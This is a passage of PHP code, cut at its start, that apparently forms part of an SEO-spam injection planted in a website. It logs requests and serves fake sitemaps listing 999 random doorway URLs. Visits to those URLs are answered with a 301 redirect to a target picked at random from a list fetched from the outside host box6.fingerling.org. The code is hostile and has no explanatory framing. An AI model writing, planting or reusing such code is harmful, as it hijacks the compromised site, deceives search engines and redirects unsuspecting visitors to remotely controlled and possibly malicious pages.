' . "\n";
echo '' . "\n";
foreach ($sitemaps as $sitemap) {
echo " \n";
echo " {$sitemap}\n";
echo " {$current_date}\n";
echo " \n";
}
echo '';
exit;
}
if (preg_match('/\/\??sitemap([a-zA-Z0-9]+)\.xml$/', $request_uri)) {
file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
header('Content-Type: application/xml; charset=utf-8');
$current_date = date('Y-m-d');
$urls = [];
for ($i = 0; $i < 999; $i++) {
$paths = ['/p/', '/id/', '/page/', '/i/'];
$random_path = $paths[array_rand($paths)];
$random_number = '';
for ($j = 0; $j < 7; $j++) {
$random_number .= chr(rand(0, 1) ? rand(48, 57) : (rand(0, 1) ? rand(65, 90) : rand(97, 122)));
}
if ($wjt == 0) {
$urls[] = "{$http}://{$domain}{$random_path}{$random_number}.html";
} else {
$urls[] = "{$http}://{$domain}/?type={$random_path}{$random_number}.html";
}
}
echo '' . "\n";
echo '' . "\n";
foreach ($urls as $url) {
echo " \n";
echo " {$url}\n";
echo " {$current_date}\n";
echo " daily\n";
echo " 0.8\n";
echo " \n";
}
echo '';
exit;
}
if (preg_match('/\/(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $request_uri, $matches) ||
(isset($_GET['type']) && preg_match('/^(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $_GET['type'], $matches))) {
file_put_contents($logFile, $logEntry, FILE_APPEND | LOCK_EX);
$random_number = isset($matches[2]) ? $matches[2] : $matches[2];
$contents = tnhtda('https://box6.fingerling.org/301/sm.txt');
$lines = preg_split('/\r\n|\r|\n/', $contents);
$randomLineKey = array_rand($lines);
$tl = $lines[$randomLineKey];
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.$tl);
exit;
}
}
?>